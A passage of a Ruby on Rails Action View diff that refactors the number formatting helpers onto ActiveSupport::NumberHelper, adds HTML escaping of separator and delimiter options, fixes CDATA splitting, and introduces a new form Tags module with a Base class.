-      # Formats a +number+ with the specified level of <tt>:precision</tt> (e.g., 112.32 has a precision
-      # of 2 if +:significant+ is +false+, and 5 if +:significant+ is +true+).
+      # Formats a +number+ with the specified level of
+      # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
+      # +:significant+ is +false+, and 5 if +:significant+ is +true+).
       # You can customize the format in the +options+ hash.
       #
       # ==== Options
-      # * <tt>:locale</tt>     - Sets the locale to be used for formatting (defaults to current locale).
-      # * <tt>:precision</tt>  - Sets the precision of the number (defaults to 3).
-      # * <tt>:significant</tt>  - If +true+, precision will be the # of significant_digits. If +false+, the # of fractional digits (defaults to +false+)
-      # * <tt>:separator</tt>  - Sets the separator between the fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
-      # * <tt>:strip_insignificant_zeros</tt>  - If +true+ removes insignificant zeros after the decimal separator (defaults to +false+)
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the #
+      #   of significant_digits. If +false+, the # of fractional
+      #   digits (defaults to +false+).
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +false+).
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
       #
       # ==== Examples
+      #
       #  number_with_precision(111.2345)                                            # => 111.235
       #  number_with_precision(111.2345, :precision => 2)                           # => 111.23
       #  number_with_precision(13, :precision => 5)                                 # => 13.00000
@@ -240,74 +230,53 @@ module ActionView
       #  number_with_precision(111.2345, :precision => 1, :significant => true)     # => 100
       #  number_with_precision(13, :precision => 5, :significant => true)           # => 13.000
       #  number_with_precision(111.234, :locale => :fr)                             # => 111,234
+      #
       #  number_with_precision(13, :precision => 5, :significant => true, :strip_insignificant_zeros => true)
       #  # => 13
+      #
       #  number_with_precision(389.32314, :precision => 4, :significant => true)    # => 389.3
       #  number_with_precision(1111.2345, :precision => 2, :separator => ',', :delimiter => '.')
       #  # => 1.111,23
       def number_with_precision(number, options = {})
-        options.symbolize_keys!
-
-        number = begin
-          Float(number)
-        rescue ArgumentError, TypeError
-          if options[:raise]
-            raise InvalidNumberError, number
-          else
-            return number
-          end
-        end
-
-        defaults           = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
-        precision_defaults = I18n.translate(:'number.precision.format', :locale => options[:locale], :default => {})
-        defaults           = defaults.merge(precision_defaults)
-
-        options = options.reverse_merge(defaults)  # Allow the user to unset default values: Eg.: :significant => false
-        precision = options.delete :precision
-        significant = options.delete :significant
-        strip_insignificant_zeros = options.delete :strip_insignificant_zeros
-
-        if significant and precision > 0
-          if number == 0
-            digits, rounded_number = 1, 0
-          else
-            digits = (Math.log10(number.abs) + 1).floor
-            rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new((10 ** (digits - precision)).to_f.to_s)).round.to_f * 10 ** (digits - precision)
-            digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
-          end
-          precision -= digits
-          precision = precision > 0 ? precision : 0  #don't let it be negative
-        else
-          rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
-        end
-        formatted_number = number_with_delimiter("%01.#{precision}f" % rounded_number, options)
-        if strip_insignificant_zeros
-          escaped_separator = Regexp.escape(options[:separator])
-          formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '').html_safe
-        else
-          formatted_number
-        end
+        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
 
+        wrap_with_output_safety_handling(number, options.delete(:raise)) {
+          ActiveSupport::NumberHelper.number_to_rounded(number, options)
+        }
       end
 
-      STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb].freeze
 
-      # Formats the bytes in +number+ into a more understandable representation
-      # (e.g., giving it 1500 yields 1.5 KB). This method is useful for
-      # reporting file sizes to users. You can customize the
-      # format in the +options+ hash.
+      # Formats the bytes in +number+ into a more understandable
+      # representation (e.g., giving it 1500 yields 1.5 KB). This
+      # method is useful for reporting file sizes to users. You can
+      # customize the format in the +options+ hash.
       #
-      # See <tt>number_to_human</tt> if you want to pretty-print a generic number.
+      # See <tt>number_to_human</tt> if you want to pretty-print a
+      # generic number.
       #
       # ==== Options
-      # * <tt>:locale</tt>     - Sets the locale to be used for formatting (defaults to current locale).
-      # * <tt>:precision</tt>  - Sets the precision of the number (defaults to 3).
-      # * <tt>:significant</tt>  - If +true+, precision will be the # of significant_digits. If +false+, the # of fractional digits (defaults to +true+)
-      # * <tt>:separator</tt>  - Sets the separator between the fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
-      # * <tt>:strip_insignificant_zeros</tt>  - If +true+ removes insignificant zeros after the decimal separator (defaults to +true+)
-      # * <tt>:prefix</tt>  - If +:si+ formats the number using the SI prefix (defaults to :binary)
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the #
+      #   of significant_digits. If +false+, the # of fractional
+      #   digits (defaults to +true+)
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +true+)
+      # * <tt>:prefix</tt> - If +:si+ formats the number using the SI
+      #   prefix (defaults to :binary)
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
       # ==== Examples
+      #
       #  number_to_human_size(123)                                          # => 123 Bytes
       #  number_to_human_size(1234)                                         # => 1.21 KB
       #  number_to_human_size(12345)                                        # => 12.1 KB
@@ -318,81 +287,69 @@ module ActionView
       #  number_to_human_size(483989, :precision => 2)                      # => 470 KB
       #  number_to_human_size(1234567, :precision => 2, :separator => ',')  # => 1,2 MB
       #
-      # Non-significant zeros after the fractional separator are stripped out by default (set
-      # <tt>:strip_insignificant_zeros</tt> to +false+ to change that):
+      # Non-significant zeros after the fractional separator are
+      # stripped out by default (set
+      # <tt>:strip_insignificant_zeros</tt> to +false+ to change
+      # that):
       #  number_to_human_size(1234567890123, :precision => 5)        # => "1.1229 TB"
       #  number_to_human_size(524288000, :precision => 5)            # => "500 MB"
       def number_to_human_size(number, options = {})
-        options.symbolize_keys!
-
-        number = begin
-          Float(number)
-        rescue ArgumentError, TypeError
-          if options[:raise]
-            raise InvalidNumberError, number
-          else
-            return number
-          end
-        end
-
-        defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
-        human    = I18n.translate(:'number.human.format', :locale => options[:locale], :default => {})
-        defaults = defaults.merge(human)
+        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
 
-        options = options.reverse_merge(defaults)
-        #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
-        options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
-        storage_units_format = I18n.translate(:'number.human.storage_units.format', :locale => options[:locale], :raise => true)
-
-        base = options[:prefix] == :si ? 1000 : 1024
-
-        if number.to_i < base
-          unit = I18n.translate(:'number.human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
-          storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit).html_safe
-        else
-          max_exp  = STORAGE_UNITS.size - 1
-          exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
-          exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
-          number  /= base ** exponent
-
-          unit_key = STORAGE_UNITS[exponent]
-          unit = I18n.translate(:"number.human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
-
-          formatted_number = number_with_precision(number, options)
-          storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).html_safe
-        end
+        wrap_with_output_safety_handling(number, options.delete(:raise)) {
+          ActiveSupport::NumberHelper.number_to_human_size(number, options)
+        }
       end
 
-      DECIMAL_UNITS = {0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
-        -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto}.freeze
-
-      # Pretty prints (formats and approximates) a number in a way it is more readable by humans
-      # (eg.: 1200000000 becomes "1.2 Billion"). This is useful for numbers that
-      # can get very large (and too hard to read).
+      # Pretty prints (formats and approximates) a number in a way it
+      # is more readable by humans (eg.: 1200000000 becomes "1.2
+      # Billion"). This is useful for numbers that can get very large
+      # (and too hard to read).
       #
-      # See <tt>number_to_human_size</tt> if you want to print a file size.
+      # See <tt>number_to_human_size</tt> if you want to print a file
+      # size.
       #
-      # You can also define you own unit-quantifier names if you want to use other decimal units
-      # (eg.: 1500 becomes "1.5 kilometers", 0.150 becomes "150 milliliters", etc). You may define
-      # a wide range of unit quantifiers, even fractional ones (centi, deci, mili, etc).
+      # You can also define you own unit-quantifier names if you want
+      # to use other decimal units (eg.: 1500 becomes "1.5
+      # kilometers", 0.150 becomes "150 milliliters", etc). You may
+      # define a wide range of unit quantifiers, even fractional ones
+      # (centi, deci, mili, etc).
       #
       # ==== Options
-      # * <tt>:locale</tt>     - Sets the locale to be used for formatting (defaults to current locale).
-      # * <tt>:precision</tt>  - Sets the precision of the number (defaults to 3).
-      # * <tt>:significant</tt>  - If +true+, precision will be the # of significant_digits. If +false+, the # of fractional digits (defaults to +true+)
-      # * <tt>:separator</tt>  - Sets the separator between the fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
-      # * <tt>:strip_insignificant_zeros</tt>  - If +true+ removes insignificant zeros after the decimal separator (defaults to +true+)
-      # * <tt>:units</tt> - A Hash of unit quantifier names. Or a string containing an i18n scope where to find this hash. It might have the following keys:
-      #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>, <tt>:hundred</tt>, <tt>:thousand</tt>,  <tt>:million</tt>,  <tt>:billion</tt>, <tt>:trillion</tt>, <tt>:quadrillion</tt>
-      #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>, <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>, <tt>:pico</tt>, <tt>:femto</tt>
-      # * <tt>:format</tt> - Sets the format of the output string (defaults to "%n %u"). The field types are:
-      #
-      #     %u  The quantifier (ex.: 'thousand')
-      #     %n  The number
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the #
+      #   of significant_digits. If +false+, the # of fractional
+      #   digits (defaults to +true+)
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +true+)
+      # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
+      #   string containing an i18n scope where to find this hash. It
+      #   might have the following keys:
+      #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
+      #     *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+      #     *<tt>:billion</tt>, <tt>:trillion</tt>,
+      #     *<tt>:quadrillion</tt>
+      #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
+      #     *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+      #     *<tt>:pico</tt>, <tt>:femto</tt>
+      # * <tt>:format</tt> - Sets the format of the output string
+      #   (defaults to "%n %u"). The field types are:
+      #   * %u - The quantifier (ex.: 'thousand')
+      #   * %n - The number
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
       #
       # ==== Examples
+      #
       #  number_to_human(123)                                          # => "123"
       #  number_to_human(1234)                                         # => "1.23 Thousand"
       #  number_to_human(12345)                                        # => "12.3 Thousand"
@@ -409,8 +366,9 @@ module ActionView
       #                           :separator => ',',
       #                           :significant => false)               # => "1,2 Million"
       #
-      # Unsignificant zeros after the decimal separator are stripped out by default (set
-      # <tt>:strip_insignificant_zeros</tt> to +false+ to change that):
+      # Non-significant zeros after the decimal separator are stripped
+      # out by default (set <tt>:strip_insignificant_zeros</tt> to
+      # +false+ to change that):
       #  number_to_human(12345012345, :significant_digits => 6)       # => "12.345 Billion"
       #  number_to_human(500000000, :precision => 5)                  # => "500 Million"
       #
@@ -442,58 +400,43 @@ module ActionView
       #  number_to_human(0.34, :units => :distance)                                # => "34 centimeters"
       #
       def number_to_human(number, options = {})
-        options.symbolize_keys!
+        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
 
-        number = begin
-          Float(number)
-        rescue ArgumentError, TypeError
-          if options[:raise]
-            raise InvalidNumberError, number
-          else
-            return number
-          end
-        end
+        wrap_with_output_safety_handling(number, options.delete(:raise)) {
+          ActiveSupport::NumberHelper.number_to_human(number, options)
+        }
+      end
 
-        defaults = I18n.translate(:'number.format', :locale => options[:locale], :default => {})
-        human    = I18n.translate(:'number.human.format', :locale => options[:locale], :default => {})
-        defaults = defaults.merge(human)
+      private
 
-        options = options.reverse_merge(defaults)
-        #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
-        options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
+      def escape_unsafe_delimiters_and_separators(options)
+        options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator] && !options[:separator].html_safe?
+        options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter] && !options[:delimiter].html_safe?
+        options
+      end
 
-        inverted_du = DECIMAL_UNITS.invert
+      def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
+        valid_float = valid_float?(number)
+        raise InvalidNumberError, number if raise_on_invalid && !valid_float
 
-        units = options.delete :units
-        unit_exponents = case units
-        when Hash
-          units
-        when String, Symbol
-          I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
-        when nil
-          I18n.translate(:"number.human.decimal_units.units", :locale => options[:locale], :raise => true)
-        else
-          raise ArgumentError, ":units must be a Hash or String translation scope."
-        end.keys.map{|e_name| inverted_du[e_name] }.sort_by{|e| -e}
+        formatted_number = yield
 
-        number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
-        display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
-        number  /= 10 ** display_exponent
-
-        unit = case units
-        when Hash
-          units[DECIMAL_UNITS[display_exponent]]
-        when String, Symbol
-          I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
+        if valid_float || number.html_safe?
+          formatted_number.html_safe
         else
-          I18n.translate(:"number.human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
+          formatted_number
         end
+      end
 
-        decimal_format = options[:format] || I18n.translate(:'number.human.decimal_units.format', :locale => options[:locale], :default => "%n %u")
-        formatted_number = number_with_precision(number, options)
-        decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip.html_safe
+      def valid_float?(number)
+        !parse_float(number, false).nil?
       end
 
+      def parse_float(number, raise_error)
+        Float(number)
+      rescue ArgumentError, TypeError
+        raise InvalidNumberError, number if raise_error
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_view/helpers/output_safety_helper.rb b/actionpack/lib/action_view/helpers/output_safety_helper.rb
index a035dd70ad..2e7e9dc50c 100644
--- a/actionpack/lib/action_view/helpers/output_safety_helper.rb
+++ b/actionpack/lib/action_view/helpers/output_safety_helper.rb
@@ -28,11 +28,10 @@ module ActionView #:nodoc:
       #   # => "<p>foo</p><br /><p>bar</p>"
       #
       def safe_join(array, sep=$,)
-        sep ||= "".html_safe
         sep = ERB::Util.html_escape(sep)
 
         array.map { |i| ERB::Util.html_escape(i) }.join(sep).html_safe
       end
     end
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/lib/action_view/helpers/record_tag_helper.rb b/actionpack/lib/action_view/helpers/record_tag_helper.rb
index b351302d01..9b35f076e5 100644
--- a/actionpack/lib/action_view/helpers/record_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/record_tag_helper.rb
@@ -81,13 +81,11 @@ module ActionView
       #    <li id="person_123" class="person bar">...
       #
       def content_tag_for(tag_name, single_or_multiple_records, prefix = nil, options = nil, &block)
-        if single_or_multiple_records.respond_to?(:to_ary)
-          single_or_multiple_records.to_ary.map do |single_record|
-            capture { content_tag_for_single_record(tag_name, single_record, prefix, options, &block) }
-          end.join("\n").html_safe
-        else
-          content_tag_for_single_record(tag_name, single_or_multiple_records, prefix, options, &block)
-        end
+        options, prefix = prefix, nil if prefix.is_a?(Hash)
+
+        Array(single_or_multiple_records).map do |single_record|
+          content_tag_for_single_record(tag_name, single_record, prefix, options, &block)
+        end.join("\n").html_safe
       end
 
       private
@@ -95,14 +93,11 @@ module ActionView
         # Called by <tt>content_tag_for</tt> internally to render a content tag
         # for each record.
         def content_tag_for_single_record(tag_name, record, prefix, options, &block)
-          options, prefix = prefix, nil if prefix.is_a?(Hash)
-          options ||= {}
-          options.merge!({ :class => "#{dom_class(record, prefix)} #{options[:class]}".strip, :id => dom_id(record, prefix) })
-          if block.arity == 0
-            content_tag(tag_name, capture(&block), options)
-          else
-            content_tag(tag_name, capture(record, &block), options)
-          end
+          options = options ? options.dup : {}
+          options[:class] = "#{dom_class(record, prefix)} #{options[:class]}".rstrip
+          options[:id]    = dom_id(record, prefix)
+
+          content_tag(tag_name, capture(record, &block), options)
         end
     end
   end
diff --git a/actionpack/lib/action_view/helpers/sanitize_helper.rb b/actionpack/lib/action_view/helpers/sanitize_helper.rb
index bcc8f6fbcb..aaf0e0344a 100644
--- a/actionpack/lib/action_view/helpers/sanitize_helper.rb
+++ b/actionpack/lib/action_view/helpers/sanitize_helper.rb
@@ -1,6 +1,5 @@
 require 'active_support/core_ext/object/try'
 require 'action_controller/vendor/html-scanner'
-require 'action_view/helpers/tag_helper'
 
 module ActionView
   # = Action View Sanitize Helpers
@@ -70,8 +69,6 @@ module ActionView
       # html-scanner tokenizer and so its HTML parsing ability is limited by
       # that of html-scanner.
       #
-      # ==== Examples
-      #
       #   strip_tags("Strip <i>these</i> tags!")
       #   # => Strip these tags!
       #
@@ -81,12 +78,11 @@ module ActionView
       #   strip_tags("<div id='top-bar'>Welcome to my website!</div>")
       #   # => Welcome to my website!
       def strip_tags(html)
-        self.class.full_sanitizer.sanitize(html).try(:html_safe)
+        self.class.full_sanitizer.sanitize(html)
       end
 
       # Strips all link tags from +text+ leaving just the link text.
       #
-      # ==== Examples
       #   strip_links('<a href="http://www.rubyonrails.org">Ruby on Rails</a>')
       #   # => Ruby on Rails
       #
diff --git a/actionpack/lib/action_view/helpers/tag_helper.rb b/actionpack/lib/action_view/helpers/tag_helper.rb
index 8c33ef09fa..3327c69d61 100644
--- a/actionpack/lib/action_view/helpers/tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/tag_helper.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/string/output_safety'
 require 'set'
 
@@ -14,9 +13,13 @@ module ActionView
       BOOLEAN_ATTRIBUTES = %w(disabled readonly multiple checked autobuffer
                            autoplay controls loop selected hidden scoped async
                            defer reversed ismap seemless muted required
-                           autofocus novalidate formnovalidate open pubdate).to_set
+                           autofocus novalidate formnovalidate open pubdate itemscope).to_set
       BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map {|attribute| attribute.to_sym })
 
+      PRE_CONTENT_STRINGS = {
+        :textarea => "\n"
+      }
+
       # Returns an empty HTML tag of type +name+ which by default is XHTML
       # compliant. Set +open+ to true to create an open tag compatible
       # with HTML 4.0 and below. Add HTML attributes by passing an attributes
@@ -37,7 +40,7 @@ module ActionView
       # thus accessed as <tt>dataset.userId</tt>.
       #
       # Values are encoded to JSON, with the exception of strings and symbols.
-      # This may come in handy when using jQuery's HTML5-aware <tt>.data()<tt>
+      # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
       # from 1.4.3.
       #
       # ==== Examples
@@ -99,57 +102,71 @@ module ActionView
       # otherwise be recognized as markup. CDATA sections begin with the string
       # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>.
       #
-      # ==== Examples
       #   cdata_section("<hello world>")
       #   # => <![CDATA[<hello world>]]>
       #
       #   cdata_section(File.read("hello_world.txt"))
       #   # => <![CDATA[<hello from a text file]]>
+      #
+      #   cdata_section("hello]]>world")
+      #   # => <![CDATA[hello]]]]><![CDATA[>world]]>
       def cdata_section(content)
-        "<![CDATA[#{content}]]>".html_safe
+        splitted = content.gsub(']]>', ']]]]><![CDATA[>')
+        "<![CDATA[#{splitted}]]>".html_safe
       end
 
       # Returns an escaped version of +html+ without affecting existing escaped entities.
       #
-      # ==== Examples
       #   escape_once("1 < 2 &amp; 3")
       #   # => "1 &lt; 2 &amp; 3"
       #
       #   escape_once("&lt;&lt; Accept & Checkout")
       #   # => "&lt;&lt; Accept &amp; Checkout"
       def escape_once(html)
-        ActiveSupport::Multibyte.clean(html.to_s).gsub(/[\"><]|&(?!([a-zA-Z]+|(#\d+));)/) { |special| ERB::Util::HTML_ESCAPE[special] }
+        ERB::Util.html_escape_once(html)
       end
 
       private
 
         def content_tag_string(name, content, options, escape = true)
           tag_options = tag_options(options, escape) if options
-          "<#{name}#{tag_options}>#{escape ? ERB::Util.h(content) : content}</#{name}>".html_safe
+          content     = ERB::Util.h(content) if escape
+          "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name.to_sym]}#{content}</#{name}>".html_safe
         end
 
         def tag_options(options, escape = true)
-          unless options.blank?
-            attrs = []
-            options.each_pair do |key, value|
-              if key.to_s == 'data' && value.is_a?(Hash)
-                value.each do |k, v|
-                  if !v.is_a?(String) && !v.is_a?(Symbol)
-                    v = v.to_json
-                  end
-                  v = ERB::Util.html_escape(v) if escape
-                  attrs << %(data-#{k.to_s.dasherize}="#{v}")
-                end
-              elsif BOOLEAN_ATTRIBUTES.include?(key)
-                attrs << %(#{key}="#{key}") if value
-              elsif !value.nil?
-                final_value = value.is_a?(Array) ? value.join(" ") : value
-                final_value = ERB::Util.html_escape(final_value) if escape
-                attrs << %(#{key}="#{final_value}")
+          return if options.blank?
+          attrs = []
+          options.each_pair do |key, value|
+            if key.to_s == 'data' && value.is_a?(Hash)
+              value.each_pair do |k, v|
+                attrs << data_tag_option(k, v, escape)
               end
+            elsif BOOLEAN_ATTRIBUTES.include?(key)
+              attrs << boolean_tag_option(key) if value
+            elsif !value.nil?
+              attrs << tag_option(key, value, escape)
             end
-            " #{attrs.sort * ' '}".html_safe unless attrs.empty?
           end
+          " #{attrs.sort * ' '}".html_safe unless attrs.empty?
+        end
+
+        def data_tag_option(key, value, escape)
+          key   = "data-#{key.to_s.dasherize}"
+          unless value.is_a?(String) || value.is_a?(Symbol) || value.is_a?(BigDecimal)
+            value = value.to_json
+          end
+          tag_option(key, value, escape)
+        end
+
+        def boolean_tag_option(key)
+          %(#{key}="#{key}")
+        end
+
+        def tag_option(key, value, escape)
+          value = value.join(" ") if value.is_a?(Array)
+          value = ERB::Util.h(value) if escape
+          %(#{key}="#{value}")
         end
     end
   end
diff --git a/actionpack/lib/action_view/helpers/tags.rb b/actionpack/lib/action_view/helpers/tags.rb
new file mode 100644
index 0000000000..a05e16979a
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags.rb
@@ -0,0 +1,39 @@
+module ActionView
+  module Helpers
+    module Tags #:nodoc:
+      extend ActiveSupport::Autoload
+
+      autoload :Base
+      autoload :CheckBox
+      autoload :CollectionCheckBoxes
+      autoload :CollectionRadioButtons
+      autoload :CollectionSelect
+      autoload :ColorField
+      autoload :DateField
+      autoload :DateSelect
+      autoload :DatetimeField
+      autoload :DatetimeLocalField
+      autoload :DatetimeSelect
+      autoload :EmailField
+      autoload :FileField
+      autoload :GroupedCollectionSelect
+      autoload :HiddenField
+      autoload :Label
+      autoload :MonthField
+      autoload :NumberField
+      autoload :PasswordField
+      autoload :RadioButton
+      autoload :RangeField
+      autoload :SearchField
+      autoload :Select
+      autoload :TelField
+      autoload :TextArea
+      autoload :TextField
+      autoload :TimeField
+      autoload :TimeSelect
+      autoload :TimeZoneSelect
+      autoload :UrlField
+      autoload :WeekField
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/base.rb b/actionpack/lib/action_view/helpers/tags/base.rb
new file mode 100644
index 0000000000..192f5eebaa
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/base.rb
@@ -0,0 +1,150 @@
+module ActionView
+  module Helpers
+    module Tags
+      class Base #:nodoc:
+        include Helpers::ActiveModelInstanceTag, Helpers::TagHelper, Helpers::FormTagHelper
+        include FormOptionsHelper
+
+        attr_reader :object
+
+        def initialize(object_name, method_name, template_object, options = {})
+          @object_name, @method_name = object_name.to_s.dup, method_name.to_s.dup
+          @template_object = template_object
+
+          @object_name.sub!(/\[\]$/,"") || @object_name.sub!(/\[\]\]$/,"]")
+          @object = retrieve_object(options.delete(:object))
+          @options = options
+          @auto_index = retrieve_autoindex(Regexp.last_match.pre_match) if Regexp.last_match
+        end
+
+        # This is what child classes implement.
+        def render
+          raise NotImplementedError, "Subclasses must implement a render method"
+        end
+
+        private
+
+        def value(object)
+          object.send @method_name if object
+        end
+
+        def value_before_type_cast(object)
+          unless object.nil?
+            method_before_type_cast = @method_name + "_before_type_cast"
+
+            object.respond_to?(method_before_type_cast) ?
+              object.send(method_before_type_cast) :
+              value(object)
+          end
+        end
+
+        def retrieve_object(object)
+          if object
+            object
+          elsif @template_object.instance_variable_defined?("@#{@object_name}")
+            @template_object.instance_variable_get("@#{@object_name}")
+          end
+        rescue NameError
+          # As @object_name may contain the nested syntax (item[subobject]) we need to fallback to nil.
+          nil
+        end
+
+        def retrieve_autoindex(pre_match)
+          object = self.object || @template_object.instance_variable_get("@#{pre_match}")
+          if object && object.respond_to?(:to_param)
+            object.to_param
+          else
+            raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+          end
+        end
+
+        def add_default_name_and_id_for_value(tag_value, options)
+          if tag_value.nil?
+            add_default_name_and_id(options)
+          else
+            specified_id = options["id"]
+            add_default_name_and_id(options)
+
+            if specified_id.blank? && options["id"].present?
+              options["id"] += "_#{sanitized_value(tag_value)}"
+            end
+          end
+        end
+
+        def add_default_name_and_id(options)
+          if options.has_key?("index")
+            options["name"] ||= options.fetch("name"){ tag_name_with_index(options["index"]) }
+            options["id"] = options.fetch("id"){ tag_id_with_index(options["index"]) }
+            options.delete("index")
+          elsif defined?(@auto_index)
+            options["name"] ||= options.fetch("name"){ tag_name_with_index(@auto_index) }
+            options["id"] = options.fetch("id"){ tag_id_with_index(@auto_index) }
+          else
+            options["name"] ||= options.fetch("name"){ options['multiple'] ? tag_name_multiple : tag_name }
+            options["id"] = options.fetch("id"){ tag_id }
+          end
+          options["id"] = [options.delete('namespace'), options["id"]].compact.join("_").presence
+        end
+
+        def tag_name
+          "#{@object_name}[#{sanitized_method_name}]"
+        end
+
+        def tag_name_multiple
+          "#{tag_name}[]"
+        end
+
+        def tag_name_with_index(index)
+          "#{@object_name}[#{index}][#{sanitized_method_name}]"
+        end
+
+        def tag_id
+          "#{sanitized_object_name}_#{sanitized_method_name}"
+        end
+
+        def tag_id_with_index(index)
+          "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
+        end
+
+        def sanitized_object_name
+          @sanitized_object_name ||= @object_name.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").sub(/_$/, "")
+        end
+
+        def sanitized_method_name
+          @sanitized_method_name ||= @method_name.sub(/\?$/,"")
+        end
+
+        def sanitized_value(value)
+          value.to_s.gsub(/\s/, "_").gsub(/[^-\w]/, "").downcase
+        end
+
+        def select_content_tag(option_tags, options, html_options)
+          html_options = html_options.stringify_keys
+          add_default_name_and_id(html_options)
+          options[:include_blank] ||= true unless options[:prompt] || select_not_required?(html_options)
+          select = content_tag("select", add_options(option_tags, options, value(object)), html_options)
+
+          if html_options["multiple"] && options.fetch(:include_hidden, true)
+            tag("input", :disabled => html_options["disabled"], :name => html_options["name"], :type => "hidden", :value => "") + select
+          else
+            select
+          end
+        end
+
+        def select_not_required?(html_options)
+          !html_options["required"] || html_options["multiple"] || html_options["size"].to_i > 1
+        end
+
+        def add_options(option_tags, options, value = nil)
+          if options[:include_blank]
+            option_tags = content_tag_string('option', options[:include_blank].kind_of?(String) ? options[:include_blank] : nil, :value => '') + "\n" + option_tags
+          end
+          if value.blank? && options[:prompt]
+            option_tags = content_tag_string('option', prompt_text(options[:prompt]), :value => '') + "\n" + option_tags
+          end
+          option_tags
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/check_box.rb b/actionpack/lib/action_view/helpers/tags/check_box.rb
new file mode 100644
index 0000000000..9d17a1dde3
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/check_box.rb
@@ -0,0 +1,62 @@
